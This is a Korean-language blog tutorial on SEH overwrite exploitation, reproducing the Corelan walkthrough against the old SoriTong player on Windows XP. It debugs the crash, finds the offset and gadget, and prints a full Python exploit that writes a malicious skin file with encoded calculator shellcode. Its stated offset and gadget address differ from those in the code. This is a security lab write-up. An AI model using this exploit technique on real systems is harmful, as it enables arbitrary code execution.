By conchi | December 19, 2016
SEH Overwrite Part #02
하이륭!
물꼬기라는!
오늘은 지난시간에 알아본 seh
가 왜 위험한지,
구시대적 유물 프로그램과, 구시대적 유물 os를 이용해 알아보겠다는.
참고로 익스플로잇 튜토리얼(exploit tutorial – Corelan Team)
에서 알려준 내용대로 한번 다시 정리해보려 하는거임.
이거이거!! 정리가 넘나 잘되어 있다는! 짱짱!
- 준비물 : windows XP, Ollydbg 1.10, 소리통, windbg
- 소리통은 windows 95, 98에서 사용되던 고물같은 녀석이라.. 구하기가 넘나 힘든 관계로 다운로드 링크를 따로 준비해둠.
- 소리통 다운로드 링크
이 소리통이라는(요즘으로 치면 곰오디와 같은) 프로그램을 이용해
SEH Overwrite를 실습해보고, 쉘코드까지 실행시키는게 이번 챕터의 목표이다.
크래쉬가 터지는 곳은 해당 프로그램의 UI가 저장되는곳인데, 여기 UI라고 해서 txt파일 하나가 존재한다.
요 파일안에는
//////////////////////////////
// DEFAULT SKIN by Sorinara //
//////////////////////////////
// DEFINE //
#DEFINE VERSION 10
#DEFINE LANGUAGE KOREAN
// OBJECT //
OBJECT 소리통 : WINDOW
{
TYPE = MAIN|TRANSPARENT|CANMOVE|ACCEPTFILES|BITMAP;
LEFT = 100;
TOP = 100;
BITMAP_DEFAULT = background.bmp;
WIDTH = FIT;
HEIGHT = FIT;
CURSOR = gold.cur;
ICON = Soritong.ico;
////////////////////
// LAUNCH BUTTONS //
////////////////////
OBJECT bOpen : BUTTON
{
FUNCTION = OPENFILE;
HELP = 파일/디렉토리_열기;
BITMAP_STATE_A = of.bmp;
BITMAP_STATE_B = of-p.bmp;
LEFT = 122;
TOP = 168;
WIDTH = FIT;
HEIGHT = FIT;
}
OBJECT bMM : BUTTON
{
FUNCTION = MUSICMANAGER;
HELP = 노래관리자;
BITMAP_DEFAULT = mm.bmp;
BITMAP_ACTION = mm-p.bmp;
LEFT = 151;
TOP = 170;
WIDTH = FIT;
HEIGHT = FIT;
}
OBJECT bCF : BUTTON
{
FUNCTION = CONFIGURATION;
HELP = 사용환경설정;
BITMAP_DEFAULT = cf.bmp;
BITMAP_ACTION = cf-p.bmp;
LEFT = 179;
TOP = 178;
WIDTH = FIT;
HEIGHT = FIT;
}
.....
..........
이런식으로 각각의 ui에 대한 코드가 들어있는 텍스트 파일(UI.txt)이 하나 존재한다.
이걸 조작해서 SEH Overwrite를 해본다.
일단 이 파일을 조작했을 때, SEH가 덮히는지 부터 확인해보자.
파이썬으로 A를 5000개 출력한 후, 스킨 폴더의 Default폴더 안에 있는 UI에 붙여넣기 해준 후 저장한다.
(경로 – C:\Program Files\SoriTong\Skin\Default)
>> print "A"*5000
이렇게 해준 후 프로그램을 실행시키면 메인 이미지가 빠르게 떴다가 사라진다.
정상 동작되지 않는것을 확인할 수 있다.
Ollydbg로 가서 이 프로그램을 실행시켜보자.
자세하고 편한 분석을 위해 windbg
로 떠나보자.
는 사실 나 windbg처음써봄 ㅋㅋㅋㅋㅋㅋㅋㅋ!! 꺄륵!
한번 실행시켰고, 이런 창이 뜬다.
뭐 Access violation이 발생해서 걸렸다고 한다.
d esp
명령으로 ff ff ff ff
를 확인해보려 했으나, 출력 범위가 작아서 인지 ff ff ff ff
가 보이지 않았다.
그래서 바로 !analyze -v
명령으로 확인함.
EXCEPTION_RECORD
가 ff ff ff ff라는 말은 프로그램 자체에 예외처리기능이 없는데 에러가 발생했기 때문에 OS에게 에러처리를 넘긴다는 의미이다.
위에서 d esp명령으로 ff ff ff ff 가 존재하는지 보려 했던것도 바로 이와 같은 맥락! 프로그램 자체에 예외 처리기능이 없지만 우리의 프로그램은 에러가 발생하면 한줄기 실낱같은 희망을 잡고 제발 제발 ㅜㅜㅜ 하고 에러처리할 곳이 있는지 찾는다.
그러다가 없으면 가장 마지막인 ff ff ff ff 를 만나게 되고 이제 에러처리는 프로그램 자체가 아닌 OS로 넘어가게 되기 때문이다.
결국 SEH란 프로그램이 아름답게 사망하기 위한 장치이다.
FS:[0]에는 SEH Exception Handler에 대한 정보가 저장되는데, 얘가 가리키는 곳으로 가 보면 41로 덮힌 SEH Exception Handler가 보인다.
SEH 체인을 확인해보아도 마찬가지로 41로 모두 덮혀있다.
지금 보면
0X0012FD64
가41 41 41 41
이고 그 아래쪽에보면
INVALID EXCEPTION STACK AT 41414141
라고 나오는데
위의0X0012FD64
는POINTER TO NEXT SEH RECORD
를 의미하고
아래쪽의41414141
은SE HANDLER
를 의미한다.
프로그램을 한번 더 실행시켜주면 이렇게 eip
가 41414141
로 바뀐것을 확인 할 수 있다.
eip가 잡힌다는건 언제봐도 넘나 설레여서 밤에 잠이 안오는것 같다.
…는 뻥 넘나 피곤함(?)
공격 시나리오 작성
우리의 프로그램은 에러가 발생하면 SE핸들러를 참조할 것이다. 이 SE핸들러를 이용하여 쉘코드를 실행시키는 방법을 이용할 계획.
[임의의 값] [Pointer to next SEH record] [ SE handler] [임의의 값]
bof가 일어나기 전의 평화로운 SEH의 모습이다.
우리는 BOF를 일으켜 Pointer to next SEH record와 SE handler값을 모두 변조시킬 수 있는것을 이미 확인했다. ㅎㅎ 그럼 시나리오는 다음과 같아짐.
1. 에러발생
2. SE handler참조
3. SE handler에 뭔 짓을 해서 Pointer to next SEH record로 가게 만듬
4. Pointer to next SEH record의 값을 jmp로 바꾸어 쉘코드가 있는곳으로 점프하게 만듬
5. 수고링
이렇게 하기 위해선 다음과 같은 형태로 바꾸어 줄 필요가 있다.
[임의의 값] [short jump] [ pop pop ret] [쉘코드]
이렇게 바꾸어 준다면 위의 시나리오가 이렇게 변할것이다.
에러가 발생함
SE handler참조 -> pop pop ret이 실행됨
Q. 근데 왜 pop을 두번이나 할까, 이거 한번에 4바이트씩 뒤로 빠지는데?
A. 예외가 발생하면 얘들은 고유 스택프레임을 생성한다.
그다음에는 생성한 고유의 스택프레임에 에러 핸들러에서 가져온 내용들을 차곡차곡 담아둠. EH구조체 중 하나의 필드인 EstablisherFrame라는 놈은 프로그램 스택에 삽입된 Pointer to next SEH record의주소를 가리키고 있다고 한다. 핸들러가 호출되면 동일한 주소(Pointer to next SEH record의 주소)가 ESP+8에 위치하게 되기 때문에 4바이트씩 POP해주고, ESP의 꼭대기에 위치한 Pointer to next SEH record의 주소를 가져와 EIP에 담는다고 함.
존나 괴상하다진짜;; 이거 왠지 커널책에서 비슷한 구조를 본거 같은데 좀 더 찾아봐야할듯
[임의의 값] [short jump] [쉘코드]
- short jump가 실행됨
- 쉘코드가 실행됨.
생각보다 넘나 간단한것
이제 시나리오대로 실제로 되는지 확인해봐야 함ㅎㅎ
일단 SE Handler이 어디에 있는지 오프셋부터 계산해보자.
칼리리눅스에 가면 기본적으로 metasploit라는게 깔려있는데 여기에 보면 패턴을 생성해주는 스크립트가 있다.
(경로 : /usr/share/metasploit-framework/tools/exploit)
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb 5000
이렇게 명령어를 입력해주면 5000개의 문자열로 규칙있는 패턴을 만들어준다.
이제 이걸 UI.txt에 넣고 다시 저장해주고 실행시킨 후, chain에 저장되어 있는 값들을 확인해주면 몇번째 문자열이 Pointer to next SEH record에 저장되어있는지 확인 가능하고, 이를 이용하여 offset계산이 가능하다.
나의 경우도 0x0012fd64에 41367441 이라는 숫자가 저장되었는데 얘를 리틀엔디언으로 돌리면 41 74 36 41 이 되고, 이걸 아스키 코드표를 참고하여 바꿔주면 At6A가 되었다.
얘는 시작으로부터 589번째에 존재하는 녀석이었는데, 컴퓨터에선 항상 0부터 시작한다는걸 잊으면 안됨.
결국 588개의 문자가 지나고 나면 Pointer to next SEH record이 나오고 그로부터 4바이트의 뒤에 SE Handler가 등장한다는 큰 깨달음을 얻게 된다.
이제 가젯을 찾으러 떠나보자.
windbg에서는 a
라는 개꿀 명령어를 제공하고 있다.
요롷게 입력해주면 내가 입력했던 pop edi, pop esi, ret
를 기억해뒀다가
이렇게 내가 입력했던 어셈에 대한 op코드를 보여준다.
현재 이 프로그램이 로드된 모듈을 확인하고(Player.dll) dll이 올라온 영역을 확인해서 해당 영역을 범위로 잡아주고, op코드를 검색해본다.
그랬더니 뭐가 개많이 나옴ㅋ
모두다 pop pop ret
에 대한 가젯주소임.
이중에서 아무주소나 하나 땡겨다 쓰면되는데 나는 0x1001e812
로 골랐다.
자그럼 Pointer to next SEH record에 들어갈 short jump의 op코드
를 알아보자.
얘의 op코드는 eb 이고, 그뒤에 내가 점프하고 싶은 바이트 수를 입력해주면 된다.
그런데 얘는 4바이트씩 패치가 되므로.. eb 06 NOP NOP 이렇게 해줘야함.
[eb] [짬프할 바이트 수] [nop] [nop] [41] [41] [41] [41] [쉘코드으으ㅡㅇ으]
이기 때문에 결국 jump해서 두개의 nop과 4개의 41을 뛰어 넘어야함.
그래서 eb 06
이되는겅미
이렇게 해서 완성된게 바로 시작할 때 나왔던 쉘코드라는
import struct
from string import *
p = lambda x : struct.pack("<L",x)
conjunk = "A"*584
conbreak = "\xeb\x06\x90\x90"
conoverwrite = 0x100116fd
conshell = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
conshell += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
conshell += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
conshell += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
conshell += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
conshell += "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
conshell += "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
conshell += "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
conshell += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
conshell += "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
conshell += "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
conshell += "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
conshell += "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
conshell += "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
conshell += "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
conshell += "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
conshell += "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
conshell += "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
conshell += "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
conshell += "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
conshell += "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
conshell += "\x4e\x36\x43\x46\x42\x50\x5a"
conjunk2 = "\x90"*1000
pcon = p(conoverwrite)
f = open("C:\Program Files\SoriTong\Skin\Default\UI.txt", 'w')
f.write(conjunk+conbreak+pcon+conshell+conjunk2)
f.close()
컴퓨터에 들어갈때는 리틀엔디언으로 변해 있어야 하기때문에
lambda
를 이용해서 pack을 해줬다는.
구우우우우욷이 귀찮게 주석을 달아보자면 다음과 같음.
참고로 주석을 한글로 달아놔서 주석처리 된 코드는 그대로 복붙하면 안돌아감ㅋ 한글 인코딩은 우리 양심상 알아서 개인이 하는걸로!
import struct
from string import *
p = lambda x : struct.pack("<L",x) # 리틀엔디언으로 만들기 위한 장치
conjunk = "A"*584 # 데이터 가들어가는 시작지점부터 Pointer to next SEH record 까지의 거리
conbreak = "\xeb\x06\x90\x90" # Pointer to next SEH record , jump 6바이트!
conoverwrite = 0x100116fd #pop pop ret 가젯의 주소
# 훔쳐온 계산기 쉘코드
conshell = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
conshell += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
conshell += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
conshell += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
conshell += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
conshell += "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
conshell += "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
conshell += "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
conshell += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
conshell += "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
conshell += "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
conshell += "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
conshell += "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
conshell += "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
conshell += "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
conshell += "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
conshell += "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
conshell += "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
conshell += "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
conshell += "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
conshell += "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
conshell += "\x4e\x36\x43\x46\x42\x50\x5a"
conjunk2 = "\x90"*1000
pcon = p(conoverwrite) # 리틀엔디언으로 인식하는 바보 컴때문에 pack해줌
f = open("C:\Program Files\SoriTong\Skin\Default\UI.txt", 'w') # 다음의 위칭 UI.txt를 만들꺼얌. 쓰기형태로
f.write(conjunk+conbreak+pcon+conshell+conjunk2) # 위의 내용을 모두 더해서 UI.txt에 적기로함.
f.close() # 파일 오픈한거 클로즈해주고 끝